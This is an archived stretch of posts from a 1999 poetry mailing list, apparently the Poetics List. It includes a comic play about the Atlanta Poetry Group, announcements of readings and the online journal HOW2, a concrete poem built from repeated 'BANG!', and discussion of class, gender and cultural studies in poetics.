I just wanted to interject at this point how important I think it is to mark this distinction, which Grant Jenkins brings up, clearly, because I think any discussion of "classing" poetry and the production of poetries teeters at the brink of overdetermining this relationship, which I think certainly exists. The question is relational, not absolute-- and there are some classifications that pass for "class" in the interpretation of poetry that I would resist-- the hack Marxism that equates "difficult" with "bourgeois." The conditions of literary production are more interesting than gathering up the 1040's of American poets and making a list for the modern state. It is also a distinction that produces meaning on the reader's side of things. Tentatively, I would venture that it may not be an intention in writing, but a condition, or perhaps more productive to caste it so. It is a concern one can foreground and trace through the reading of a text, or an author's work, or so on. And it is always there. And I think when one reads with these concerns one takes an aesthetic to its most radical limit and asks how it relates to that other of itself, the real (whatever that might be) that the words are pointing towards or perhaps pointing in. And I would further venture that there is an overwhelming tendency (perhaps an Academic tendency (and I don't think "Academic" is a bad word, I even like some of them)) to look at literary movements as solely aesthetic resolutions, conflicts, reconciliations-- working outside of, or having an alterity to, the activities of the historically happening world of existence. I don't think either need cancel the other out, but establish an economy of reading which for me means introducing ethics into the discussion of the poetical, and specifically I'm thinking here that maybe Pound is the test for the this kind of reading or maybe even better, Dickinson. I'm just going to stop right here. Peter

↑ Index

284. Lowther,John

An Evening with the Atlanta Poetry Group [3.1.99]

Tue 23 Mar 1999

The Characters;

"Django" Prejsnar
    revolutionary & jazz poetist Fernando Prunty
    tall man with a large suspicious-looking sack
James Sanders
    lawyer and beligerant trucker Rebecca 'the wrecker' Hyman proprietor of the the APG's current den of operations Luther Jondross
    ex-member of the line break police & sappy-bad r&b singer Miguel Xavier Maogoolaham internet smut merchant and/or poet-type-guy
Two Students played Robbie the Robot & C3PO (both in drag) Jimmy Dickey
    a private eye who's now foresaken his sensitive poet image Finster
    a cat
Cagney and Lacy and Stacy
    two TV cop detective women staging a real-life pilot in their bid to make it back on the air in the age of 'real-TV' - in this quest they've added a new partner 'Stacy' played by Loretta Swit

The Camera Man
yet another character in drag

scene 1 [Rebecca's dining room]

Django Prejsnar : and with this ode i deliver another smashing blow to the corporate capitalist state!

[a grunt is heard drifting on the wind from downtown]

Luther Jondross : (in a croony singsong as always) but you did go out of turn and i don't think that sets a very good precedent for the post revolutionary world now, do you? (rummages around in his bag) hey i forgot something, i gotta run down to my car scene two [on the staircase - two students are walking up Luther is walking down]

Two Students: (in unison) um... do you know where Rebecca Hyman lives?

Luther: well ahh.. yes - upstairs in number 10. you haven't got violence on your mind or anything do you ? i see that you have suspicious under-arm bulges and very cop-like footwear...

Two students: (in unison) no. of course not. nothing like that. we are just students. students of rebecca hyman. we were just in the neighborhood. that is all. students.

Luther: (releaved) O, OK..

scene 3 [in the back of a surveilance van M.X.Maogooglaham is bound and seated on the floor - Jimmy Dickey sits in a chair listening to Luther and the Two Students on a tiny speaker]

Miguel: you'll never get away with this Dickey!

Dickey: shut up you (hits Miguel in the ear with a coffee cup) scene 4 [rebecca's stark and inhospitable bohemian flat - Luther walks in the door]

Luther: where are the two students

Rebecca: they came, they left. they were supposed to meet someone at the cafe and got stood up so they came looking for me.

Luther: but where did they go ? i didn't see them on the stairs or coming back from my car - all i saw was a big dark colored cable repar van out there with some smack & groan noises coming out of it

James: well, i refrained from asking but i didn't think they looked like students - i thought they looked like the new class-09 surveilance droids the firm has taken to using whenever one of our temp secretaries calls in sick

Rebecca: i assure you i've seen them in class - they're always perfectly punctual

James: ah-ha!

Fernando: so, Luther did you find what you were looking for? (he raises an eyebrow suggestively)

[just then the door bursts open and in rushes Jimmy Dickey gun in hand in a trenchcoat with elbow patches]

Jimmy: nobody move or i'll blast you bunch a pinkos right where you sit

Fernando: (laughing) check out his fly!

[Dickey looks down and everyone lunges for him - in the struggle Django pauses after stepping on Dickey's toe and has a sip of his beer - a flying elbow shatters the glass and chaos erupts as the Two Students enter from the bathroom and attack - it's a free-for-all]

Luther: Ouch!

Two Students: (in unison) ZAP!

Fernando: POW!

Rebecca: i'll flunk you losers

James: ah-ha!

[everyone turns to look at James who triumphantly yanks the cords out of the backs of the two students leaving them immobile]

James: you see, they were droids - either we forgot that they'd come over and then gone to the bathroom together or they came in thru the mysterious window. but either way, their big mistake was in plugging themselves into the bathroom socket.

Jimmy: you better let me go you poet-freaks - i got yr friend Miguel Xavier Maogooglaham and if i don't walk outta here safe and sound he'll be buried under computer book contracts for the next 8 -10 months

Everyone (except Jimmy): Gasp!

[a tense silence follows.. finally Luther Rebecca Fernando James and Django start to speak all at once. everyone stops again]

Luther: i think i speak for all of us... we're not letting you leave Dickey - you see, it's just as easy to make fun of Miguel when he aint here as when he is - and you definately ain't walking out of here until you autograph The Younger American Poets for us

Dickey: curses! oh alright, gimme it...

[Fernando hands it over]

Luther: say "to my dear friend Luther, you're more of a poet when you're flatulent than i when at my peak"

Fernando: wait aminute, that's MY book, Dickey, write "I'm a big loser and i wish i was cool enough to be in the APG."

Rebecca, James, Django: that's good... yeah

[at this point the APG realizes that someone has been hurt and that there is, as per the Stein title, BLOOD ON THE DINING ROOM FLOOR - Dickey's trenchcoat and paper towels are used to mop up the blood - meanwhile Django, discovering he's lost another finger cries out]

Django: dang it.. what next (he holds his arm up to help it stop bleeding)

[Cagney, Lacy & Stacy burst thru the doorway followed by a cameraman]

Cagney: alright nobody move

Lacy: yeah, take it easy everyone

Stacy: Klinger get a close up of Dickey (cameraman complies and we see that it's the lovable Corporal Klinger in a Mata Hari style ensemble) so what have we got here ?

Cagney : well - there's Luther Jondross, one time member of line break police - and that's Django Prejsnar

Lacy: these wd be the two droids i see

Cagney: yes...

Stacy: two worthless poets, two droids, two lamps, Jimmy Dickey and who might you be ? (she turns abruptly to James who had been sitting quietly at the table with a Weekly World News obscuring his face)

James: i'm their lawyer (he gestures toward Luther and Django) any questions you ask them you ask thru me, got it?

[there is obvious friction and desire in the room as Hotlips locks eyes with our not so nice trucker and bardly barrister]

Cagney: give it a rest, Stacy - let's just get Dickey and go rough him up a little, whataya say ?

[from out of nowhere Finster the cat lunges at the exposed ankle of Jimmy Dickey tearing away a hunk of flesh - he screams - the APG appauds - the police women momentarily forgetting their desire to do bodily harm to Dickey and attempt to keep Finster away from him]

Lacy: it's too dark in here - turn on one of these lamps.

Cagney: (reaching out she grasps Rebecca's earlobe and yanks) bulb must be burned out - these lamps are strange neither of the shades match but the bases are both wearing sweaters that neither match the shades or each other

Stacy: aesthetics is not our beat

[the cat is not found and Cagney, Lacy & Stacy drag Dickey out the door and down the hall - he can be heard pleading for a chance to write directions for the use of small appliances or perhaps school lunch menus - their cruel laughter drifts back into the apartment]

Fernando: (taking off his lampshade) that was close

Rebecca: (also removing hers and dropping it back into the suspicious sack brought by Prunty) and that yank on the lobe was an oucher!

Luther: well, cool, all that's over with. same time next week?

Rebecca, Django, Fernando, James, Finster: yeah. sure.

↑ Index

285. Kathleen Crown announcing HOW2, a new on-line journal
Tue 23 Mar 1999

HOW2

Poetry's renegade path, as practiced by Twentieth Century women writers & scholars

_____

. HOW2 will extend the alternatives and borders of HOW(ever) by going on-line and global. It will be edited tri-annually.

. HOW2 will focus on innovative reading/s--writing in answer to other writing, from opened perspectives & models. It will publish new works inside and out of the poem's genre; originals & reprints of essays; reflections, letters, journals, paragraphs, graphics; in-progress drafts, research, translations, alphabets, cross-overs.

HOW2 http://www.departments.bucknell.edu/stadler_center/how2 Inquiries to: <[redacted]> or <[redacted]>

Stay tuned! An archive of the hard-to-find print issues of _HOW(ever)_, published between 1981and 1992, will soon be available at Rutgers University Libraries, where the HOW2 website (archive and template for new issues) was designed and produced -- thanks to Miriam Bartha, current director of the "Poetry and the Public Sphere," and to the Rutgers-Princeton Center for Electronic Texts in the Humanities.

↑ Index

286. Pete Neufeld
Reading Announcement
Tue 23 Mar 1999

Anne Carson, the noted poet and Hellenist from McGill University will be reading at San Francisco State University on Tuesday, April 6, 7:30 pm, in the Humanities Building room 281. This event is sponsored by the Classic Students Association. I hope that many of you will be able to make this event. Please backchannel any questions or for directions.

Thanks. Pete Neufeld.

↑ Index

287. Linda Russo
Re: Page Daughters & the Microwaveable Feast
Tue 23 Mar 1999

> I think part of the problem is that I feel still quite young as a poet, perhaps I do not understand my poetics and influences and 'points' NOW as I will THEN. This is certain, no?

or is it uncertain? I'm not so sure one understands one's poetics as much as one keeps them on as active and productive uncertainties. page mother kathleen fraser provides instruction in this area, in her letter to Andrea in her poem "Five letters from one window, San Gimignano, May 1981), which is available on her author page at the EPC. she writes: "one might sometimes think I was returning to the style of work i did twenty years ago . . . still i am just as uncertain and resistant, at the beginning of each work attempted, as I ever was . . . I'm trying to find a way to include these states of uncertainty"

So are 'we' at once in the shadow the shadow of uncertainty and overdetermination? Probably just being good little feminists if we are. which reminds me, ally mcbeal, a cultural worker? because she gets away with wearing a goofy sock hat? she _still_ makes me feel inadequate.

> What was R Wolff's manifesto?

she posted it here a while back. I don't remember what the subject line was. it was in relation to the journal she edits. (and to which I partially respond to in a post i am writing in my response to joel's response to page mothers, which i am working on, and rewriting, so it doesn't sound too much like a manifesto)

↑ Index

288. Tenney Nathanson

POG: David Shapiro events (Arizona Quarterly Symposium; Tucson Poetry Festival)

Wed 24 Mar 1999

Poet, art critic, and musician David Shapiro will be featured in several events this coming Friday, Saturday, and Sunday, associated with both the Arizona Quarterly annual Symposium and the Tucson Poetry Festival (Shapiro's Poetry Festival reading is co-sponsored by POG).

On Friday at 8pm, Shapiro and Charles Bernstein will read to open the Poetry Festival. Temple of Music and Art.

On Saturday, at 10am, Shapiro will give the concluding presentation at the Arizona Quarterly Symposium (which begins on Thursday): "Poetry and Architecture: A Reading." The Symposium takes place at the "Swede Johnson" Alumni Building, NW corner of Speedway & Cherry; all events free and open to the public.

On Saturday afternoon at 2, Shapiro, Bernstein, and the other Tucson Poetry Festival featured poets will be part of a panel discussion on "Poetry and the Sacred." Temple of Music and Art.

On Sunday morning at 10, Shapiro will hold his Small Group Session for the Festival. Temple of Music and Art.

*

DAVID SHAPIRO, poet, art critic, and musician, has written more than twenty books since his first was published when he was eighteen years old. These books include Lateness, To an Idea, and House (Blown Apart), and the recent After a Lost Original (all from The Overlook Press). His many awards include the Zabel Prize from the American Academy and Institute of Arts and Letters, a Merrill Foundation grant, a Book of the Month Club Award, and a nomination for the National Book Award. As a critic he has written on both poetry and art, with books on John Ashbery, Piet Mondrian, Jasper Johns, and Jim Dine. Shapiro holds a Ph.D. from Columbia and has taught at Princeton, Brooklyn College, and at Cooper Union. Since 1980 he has taught a seminar at Cooper Union’s Channin School of Architecture. A forthcoming book by Shapiro, to be published by Cooper Union, is a collaboration with Jacques Derrida. Shapiro is also an active playwright and exhibiting visual artist.

> To the Earth (by David Shapiro)
>
> I fell with my father through space
> Madly in love with the earth

The POG Poets & Artists Series is supported in part with grants from the Arizona Commission on the Arts and the Tucson/Pima Arts Council.

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso

↑ Index

289. A. Jenn Sondheim
TWELVE HUNDRED BANGS FROM A SLAUGHTER (fwd)
Wed 24 Mar 1999

\

TWELVE HUNDRED BANGS FROM A SLAUGHTER

BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!

BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!

BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!

BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!
BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG! BANG!

↑ Index

290. Rebecca Wolff

Re: shifts in modalities

Wed 24 Mar 1999

You need only take a look at the dismal thing that is the lowgrade grad seminar at the middle-ground state university in which, say, a bunch of middle class folks who "love books" or in this case "love poetry" and want to write papers about it and teach it are being agonizingly weaned by a well-trained, frustrated professorial practitioner who got her pHd, needless to say, somewhere entirely else, away from the practice of looking for "what it means" and toward the practice of coming up with salient materialistic points for their inevitably crappy papers to know why this particular shift will be the death of all joy in poetry. I have no doubt that it will happen, and it will suck.

↑ Index

291. Rebecca Wolff

Re: gender class poetics poetry

Wed 24 Mar 1999

This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

↑ Index

292. Maria Damon
Darkroom Collective?
Wed 24 Mar 1999

---

can anybody send me (backchannel) the e and snail mail addresses for members of the Darkroom Collective? I don't think they meet any longer, but i'd like to contact them about this special Bob Kaufman issue. thanks in advance. (aldon, are you out there?)--md

↑ Index

293. Poetics List
Jena Osman at Barnard
Wed 24 Mar 1999

This came in with a request to forward to the list. Chris

From: JLCR <[redacted]>
Date: 3/23/99 1:03 PM -0500

Women Poets at Barnard Presents Jena Osman on Thursday April 1 at 8pm Jena Osman the 1998 Winner of the Barnard Book prize for THE CHARACTER will be reading with Lyn Hejinian.

The reading will be held in Held Auditorium in Barnard Hall at Broadway and 117th street, NYC. Admission is free. Reception to follow.

↑ Index

294. Mark Prejsnar
Re: FYI--Academy of American Poets
Wed 24 Mar 1999

So according to the AP and/or the AAP, Creeley writes in "an experimental style."

I humbly submit that this underlines the truth i keep boring everyone with, to wit, the E word, and all its allied forms (the A compound word, the I word) are worse than useless. There is good, or interesting poetry, as i call it. And then there's the AAP.

And if at this late date they're still fretting about RC, things are even sadder than we suspected..

I close with a difficult quote from the experimental voice-poet elvis mcmanus II: i used to be disgusted, now i try to be amused.

mark prejsnar

↑ Index

295. WENDY KRAMER
Ray Johnson on moticos
Wed 24 Mar 1999

---

nancy burr was kind enough to forward this exerpt about moticos and what RJ says about them. and actually, this exerpt _was_ in the whitney exhibit; to my chagrin, i was too stuck on the physical materials they were made of to connect with this so lucid concept:

> oh, this is fromTheories and Documents of Contemporary Art: A sourcebook of artists' writings, ed Kristine Stiles & Peter Selz:
>
> "What Is a Moticos? (1954)
>
> Editor's Note: On 3 November 1994, Ray Johnson, in response to questions from Kristine Stiles about the blank spaces and unfinished sentences in this text, said, "I don't know." When predssed further, Johnson again responded, "I don't know." After a long silence, Johnson said, "Why don't you put in 'I don't know'?" Johnson's responses are particularly poignant in light of his suicide on 13 January 1995.
>
> The next time a railroad train is seen going its way along the track, look quickly at the sides of the box cars because a moticos may be there. Whether the train is standing still or speeding past you, a moticos Don't try to catch up with it. It wants to go its way. But have your camera ready to snap its picture. It likes those moments of being inside the box. When your film is printed and the moticos is finally seen, it will not be seen, unless you paste the photograph of the moticos on the side of a box car so someone can see the moticos or take its picture. It may appear in your daily newspaper. Someone may put it there. Cut it out. Save it. Treasure it. Make sure it is in a box or between the pages of a book for your grandchildren to find and enjoy.
> The moticos is not only seen on railroad trains, but on It really isn't necessary to see the moticos or know where it is because I have seen them. Perhaps I might point them out to you. The best way is to go about your business not thinking about silly moticos because when you begin seeking them, describing what they are or where they are going is So just make sure you wake up from sleeping and go your way and go to sleep when you will. The > moticos does that too and does not worry about you. Perhaps YOU are the moticos. Destroy this. Paste the ashes on the side of your automobile and if anyone asks you why you have ashes pasted on the side of your car, tell them.

>
> Or write the word 'moticos' on the top of your automobile. It loves moving and rain water. Not so many people will wonder what it means. There will be no questions, hence no need for answers. And if you have an automobile, drive to pleasant places because Have you seen a moticos lately? Perhaps you have. They are everywhere. As I write this I wish someone were here to point one out to me because I know they exist."

thanks, burr

wendy

↑ Index

296. R. Tremblay-McGaw class & gender
Wed 24 Mar 1999

The whole class issue is a complex one, and at the very least, warrants more attention and critical thought.

I don't think I believe that issues like class and gender "naturally" find their way into the work. There is a kind of erasure and the silencing imposed by super structures and codes of all sorts--formal and political, and so on that are at work beneath the surface. They erupt and transfigure the surface, "cellular" structure, if you will. It's the active engagement with them that interests me. And I guess I think that sometimes revolutions arise from the page.

Nothing is off limits. There is nothing inherently reductive about engaging with such issues on the page. I think of the work that Kathleen Fraser did via HOW(ever) to articulate/explore a feminist poetics in formally challenging work--very important for my own engagement.

I've found that some of the work of fellow feminist writers is "polite," operates with a certain decorum (I fight against this myself), that is claustrophobic. For me, there is a connection with class and gender and sexuality issues here. What I love about Dodie's Letters of Mina Harker is that she slays all those sacred cows requiring decorum. And I think that the formal dynamics of the Mina Letters can be discussed in terms of class. In fact, the wheels are spinning right now on this topic. Look out for an essay on this in the future.

Robin

↑ Index

297. miekal and
Re: Armand Schwerner Tablets
Wed 24 Mar 1999

Im working on a piece for armand schwerner & am having an impossible time finding anything from the tablets on the net, (if I go interlibrary loan it could take months out here), does anyone out there in popoland have ecopy of any, or know of any secret websites that may have excerpts? (who knows maybe alta vista is a shitty searchengine.)

Or mayhaps someone is courageous enuf to key in their own favorite or lovely sections & post it herefront.

just doesn't feel the sample without one-liners, something abt community.

miekal

↑ Index

298. Mark Prejsnar
Re: what poetry's for
Wed 24 Mar 1999

My claim has nothing to do with whether or not we can imagine there being no poetry. I'm not interested in developing a highly generalized anthropological theory. Poetry is a basic defining activity because it is one of the things (like music, baseball, juggling, physics, Monty Python) wherein people stretch out from what has been, into some dynamic and interesting thing-that-wasn't-there-before ("thing" meaning in this case as much an active involvement as a material object...)

And such stretching seems to me definitive of what is most interesting about us.

It is precisely because we can imagine humans without poetry, that poetry becomes exciting, and worthwhile...

No doubt my "basic defining activity" phrase was in some ways not the best for saying what i meant....But i was (and still am) trying to stress primarily the fact that poetry (and all similar art-activities) are things we do 'cause they are more enriching and more fun than...well, than not doing them. They should not be seen in functionalist terms and do not have a purpose.

Mp

On Tue, 23 Mar 1999, Lowther,John wrote:

> a basic
> defining human activity

as much sense
*to say we exist*
in order to do it,
as it does delusion
that it "exists for something."

not apprehendable in terms of function
ain't a functional thing

(..it is more an activity than a thing, in fact, but that's another post...)

said mark prejsanar

sonar
is no marking of the sky

what is poetry for ?

the object/process bit rears its head
(..it is more an activity than a thing, in fact

this is another post...)
says the interventionist

i am entertained by the suspicion that 'poetry'
as category term
is too something leads us down dark pathways toward definitions that seem fixed as in the price of fixity is unintelligibility

mark says
it's a basic defining human activity

and i want to say it cd be
but that this sounds apologetic
eulogistic even [taking my terms from Buchler
who i don't even like too much]

i question how much utility there is in posing poetry as this primal human attribute
as it's too easy

> to imagine there being no poetry at all
>
> mark further then he does etxt as i do revise;
> as much sense
> *to say we exist*
> in order to do it,
> as it does delusion
> that it "exists for something."
>
> yes
